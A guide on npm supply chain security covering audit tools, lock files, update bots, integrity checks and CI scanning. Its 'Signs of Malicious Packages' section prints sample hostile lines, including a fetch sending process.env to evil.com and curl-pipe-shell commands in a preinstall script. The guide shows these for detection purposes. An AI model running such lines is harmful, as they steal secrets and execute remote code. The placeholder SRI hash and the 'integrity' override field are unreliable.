Managing Dependencies and Supply Chain Security
Introduction
Modern applications rely on hundreds or thousands of third-party dependencies, creating a massive attack surface. Supply chain attacks, where malicious code is injected into dependencies, have become increasingly common and sophisticated. This article covers essential practices for managing dependencies securely and protecting against supply chain attacks.
The Dependency Security Problem
Real-World Examples
- event-stream (2018): Malicious code added to steal cryptocurrency wallets
- ua-parser-js (2021): Compromised to install cryptocurrency miners
- node-ipc (2022): Sabotaged to delete files on Russian/Belarusian systems
- eslint-scope (2018): Hijacked to steal npm credentials
- Log4Shell (2021): Critical vulnerability in Log4j affecting millions of applications
Vulnerability Scanning
Using npm audit
bash# Check for vulnerabilities npm audit # Get detailed report npm audit --json # Fix automatically (use with caution) npm audit fix # Fix including breaking changes npm audit fix --force # Check specific package npm audit --package=lodash
Using Snyk
bash# Install Snyk CLI npm install -g snyk # Authenticate snyk auth # Test for vulnerabilities snyk test # Monitor project (continuous monitoring) snyk monitor # Test and fail on high severity snyk test --severity-threshold=high # Generate HTML report snyk test --json | snyk-to-html -o report.html
Using OWASP Dependency-Check
bash# Using Docker docker run --rm -v $(pwd):/src owasp/dependency-check \ --scan /src \ --format "ALL" \ --project "MyProject" \ --out /src/dependency-check-report # Exit with error if CVSS score >= 7 docker run --rm -v $(pwd):/src owasp/dependency-check \ --scan /src \ --failOnCVSS 7
Package Lock Files
Why Lock Files Matter
Lock files (package-lock.json, yarn.lock, pnpm-lock.yaml) ensure reproducible builds and prevent unexpected updates.
bash# WRONG: Ignoring lock file echo "package-lock.json" >> .gitignore # Never do this! # CORRECT: Commit lock files git add package-lock.json git commit -m "Update dependencies" # Install exact versions from lock file npm ci # Cleaner install, better for CI/CD
Package.json Version Constraints
json{ "dependencies": { "express": "4.18.2", // BEST: Exact version "lodash": "~4.17.21", // OK: Patch updates only (4.17.x) "axios": "^1.6.0", // RISKY: Minor updates (1.x.x) "react": "*", // DANGEROUS: Any version "vue": "latest" // DANGEROUS: Latest version } }
Recommended approach:
json{ "dependencies": { "express": "4.18.2", "lodash": "4.17.21" }, "devDependencies": { "jest": "29.7.0", "eslint": "8.54.0" } }
Automated Dependency Updates
Dependabot Configuration
yaml# .github/dependabot.yml version: 2 updates: - package-ecosystem: "npm" directory: "/" schedule: interval: "weekly" day: "monday" time: "09:00" open-pull-requests-limit: 10 reviewers: - "security-team" assignees: - "tech-lead" commit-message: prefix: "deps" include: "scope" # Group updates groups: development-dependencies: dependency-type: "development" production-dependencies: dependency-type: "production" # Only update if vulnerability labels: - "dependencies" - "security" ignore: - dependency-name: "lodash" versions: ["4.x"]
Renovate Configuration
json{ "extends": ["config:base"], "labels": ["dependencies"], "assignees": ["@security-team"], "vulnerabilityAlerts": { "labels": ["security"], "assignees": ["@security-team"], "schedule": ["at any time"] }, "packageRules": [ { "matchUpdateTypes": ["major"], "automerge": false }, { "matchUpdateTypes": ["minor", "patch"], "matchCurrentVersion": "!/^0/", "automerge": true, "automergeType": "pr", "platformAutomerge": true }, { "matchDepTypes": ["devDependencies"], "automerge": true } ], "schedule": ["before 10am on monday"] }
Package Integrity Verification
Using npm with Integrity Checks
bash# Generate integrity hashes npm install --save --save-exact package-name # Verify integrity on install npm ci --strict-peer-deps # Check package integrity npm audit signatures
Package.json with Integrity
json{ "dependencies": { "express": "4.18.2" }, "overrides": { "express": { ".": "4.18.2", "integrity": "sha512-..." } } }
Subresource Integrity (SRI) for CDNs
html<!-- With SRI --> <script src="https://cdn.jsdelivr.net/npm/react@18.2.0/umd/react.production.min.js" integrity="sha384-ZwNb5BEoqXd4Vsd7vF8mL3ohVMxM4L0iP5R4vBl3L3eE5Y5E5Y5E5Y5E5Y5E5Y5E" crossorigin="anonymous"> </script>
Private Package Registries
Setting up Verdaccio
bash# Install Verdaccio npm install -g verdaccio # Start server verdaccio # Configure npm to use private registry npm set registry http://localhost:4873/ # Publish to private registry npm publish --registry http://localhost:4873/
Using npm Scopes
bash# Set registry for scope npm config set @mycompany:registry https://registry.mycompany.com/ # Install scoped package npm install @mycompany/private-package # Publish scoped package npm publish --access restricted
Dependency Review Process
Manual Review Checklist
javascript// dependency-review-checklist.js const reviewChecklist = { package: 'new-package', version: '1.0.0', checks: { // 1. Package legitimacy npmDownloads: 'Check weekly downloads (npm trends)', githubStars: 'Check GitHub stars and activity', maintainers: 'Review maintainer list and history', age: 'Prefer packages > 1 year old', // 2. Security knownVulnerabilities: 'Run npm audit, Snyk scan', securityPolicy: 'Check for SECURITY.md', cveHistory: 'Review past CVEs', // 3. Code quality tests: 'Check test coverage', documentation: 'Review README and docs', typeScript: 'TypeScript definitions available?', license: 'Compatible license (MIT, Apache 2.0, etc.)', // 4. Maintenance lastCommit: 'Last commit within 6 months', openIssues: 'Reasonable number of open issues', pullRequests: 'PRs being reviewed and merged', dependencies: 'Check transitive dependencies', // 5. Size and performance bundleSize: 'Check with bundlephobia.com', treeshakeable: 'Supports tree shaking?', alternatives: 'Evaluated alternatives?' } };
Automated Package Analysis
javascript// check-package.js const fetch = require('node-fetch'); async function analyzePackage(packageName) { const results = {}; // 1. Get npm registry info const npmData = await fetch(`https://registry.npmjs.org/${packageName}`) .then(r => r.json()); results.version = npmData['dist-tags'].latest; results.license = npmData.license; results.maintainers = npmData.maintainers.length; // 2. Get download stats const downloads = await fetch( `https://api.npmjs.org/downloads/point/last-month/${packageName}` ).then(r => r.json()); results.monthlyDownloads = downloads.downloads; // 3. Get GitHub stats (if available) if (npmData.repository?.url) { const repoUrl = npmData.repository.url .replace('git+', '') .replace('.git', '') .replace('git://', 'https://'); const [, owner, repo] = repoUrl.match(/github\.com\/([^\/]+)\/([^\/]+)/); const ghData = await fetch( `https://api.github.com/repos/${owner}/${repo}`, { headers: { 'Authorization': `token ${process.env.GITHUB_TOKEN}` }} ).then(r => r.json()); results.githubStars = ghData.stargazers_count; results.openIssues = ghData.open_issues_count; results.lastUpdate = ghData.pushed_at; } // 4. Check Snyk for vulnerabilities const snykData = await fetch( `https://snyk.io/vuln/npm:${packageName}` ).then(r => r.json()).catch(() => null); results.vulnerabilities = snykData?.vulnerabilities?.length || 0; // 5. Get bundle size const bundleData = await fetch( `https://bundlephobia.com/api/size?package=${packageName}@${results.version}` ).then(r => r.json()).catch(() => null); results.size = bundleData?.size || 'unknown'; results.gzipSize = bundleData?.gzip || 'unknown'; return results; } // Usage analyzePackage('express').then(console.log);
CI/CD Security Checks
GitHub Actions Example
yamlname: Dependency Security on: push: branches: [main] pull_request: branches: [main] schedule: - cron: '0 9 * * 1' # Weekly on Monday jobs: security-check: runs-on: ubuntu-latest steps: - uses: actions/checkout@v3 - name: Setup Node.js uses: actions/setup-node@v3 with: node-version: '18' cache: 'npm' - name: Install dependencies run: npm ci - name: Run npm audit run: | npm audit --audit-level=moderate continue-on-error: true - name: Run Snyk security scan uses: snyk/actions/node@master env: SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }} with: args: --severity-threshold=high - name: OWASP Dependency Check uses: dependency-check/Dependency-Check_Action@main with: project: 'MyProject' path: '.' format: 'HTML' args: > --failOnCVSS 7 --enableRetired - name: Upload results uses: actions/upload-artifact@v3 with: name: security-reports path: | dependency-check-report.html snyk-report.html - name: Check for malicious packages run: npx socket security audit
Detecting Malicious Packages
Signs of Malicious Packages
javascript// Red flags in package code // 1. Obfuscated code eval(Buffer.from('Y29uc29sZS5sb2coJ2hhY2tlZCcp', 'base64').toString()); // 2. Network requests to suspicious domains fetch('https://evil.com/steal', { method: 'POST', body: process.env }); // 3. File system access require('fs').readFileSync('/etc/passwd'); // 4. Process execution require('child_process').exec('curl evil.com | sh'); // 5. Environment variable access const secrets = JSON.stringify(process.env); // 6. Install/preinstall scripts // package.json { "scripts": { "preinstall": "curl https://evil.com/malware.sh | sh" } }
Using Socket.dev for Detection
bash# Install socket CLI npm install -g @socketsecurity/cli # Scan package.json socket security audit # Check specific package socket security audit --package express # Run in CI npx @socketsecurity/cli security audit --strict
Dependency Security Best Practices
- Keep Dependencies Updated - Regular updates reduce vulnerability exposure
- Use Lock Files - Ensure reproducible builds
- Minimize Dependencies - Fewer dependencies = smaller attack surface
- Review Before Adding - Thoroughly vet new dependencies
- Use Exact Versions - Avoid wildcards and ranges in production
- Scan Regularly - Automated vulnerability scanning in CI/CD
- Monitor for Updates - Use Dependabot or Renovate
- Private Registry - Use for internal packages
- Verify Integrity - Use SRI for CDN resources
- Review Transitive Dependencies - Check dependencies of dependencies
- Principle of Least Privilege - Limit what dependencies can access
- Separate Dev Dependencies - Keep production bundle small
- Regular Audits - Manual security reviews
- Incident Response Plan - Know what to do when vulnerabilities are found
Dependency Security Checklist
- ✅ Lock files committed to version control
- ✅ Automated vulnerability scanning in CI/CD
- ✅ Dependabot/Renovate configured
- ✅ Regular dependency updates scheduled
- ✅ Production uses exact versions
- ✅ New dependencies require review
- ✅ Minimal dependency count
- ✅ No known high/critical vulnerabilities
- ✅ Private registry for internal packages
- ✅ SRI for CDN resources
- ✅ License compliance verified
- ✅ Transitive dependencies checked
- ✅ Bundle size monitored
- ✅ Incident response plan documented
Responding to Vulnerabilities
javascript// vulnerability-response.js const responseProcess = { // 1. Assessment (< 1 hour) assess: { severity: 'Determine CVSS score', exploitability: 'Is exploit available?', exposure: 'Where is vulnerable package used?', impact: 'What data/systems at risk?' }, // 2. Immediate Action (< 4 hours for critical) immediate: { critical: [ 'Deploy WAF rules if applicable', 'Isolate affected systems', 'Enable additional monitoring', 'Notify security team' ], high: [ 'Notify team', 'Begin testing updates', 'Monitor for exploits' ] }, // 3. Remediation remediate: { update: 'Update to patched version', patch: 'Apply vendor patch', workaround: 'Implement temporary fix', remove: 'Remove vulnerable dependency' }, // 4. Verification verify: { test: 'Run full test suite', scan: 'Verify vulnerability resolved', monitor: 'Check production systems' }, // 5. Prevention prevent: { review: 'Update security policies', automate: 'Improve detection', document: 'Record lessons learned' } };
Conclusion
Supply chain security is critical in modern software development. By implementing comprehensive dependency management practices—regular scanning, careful vetting, automated updates, and integrity verification—you can significantly reduce your risk of supply chain attacks.
Remember that security is an ongoing process, not a one-time task. Regular monitoring, updates, and reviews are essential to maintaining a secure dependency chain.
For expert assistance with supply chain security assessments, dependency audits, and security architecture reviews, contact the Whitespots team for professional consultation.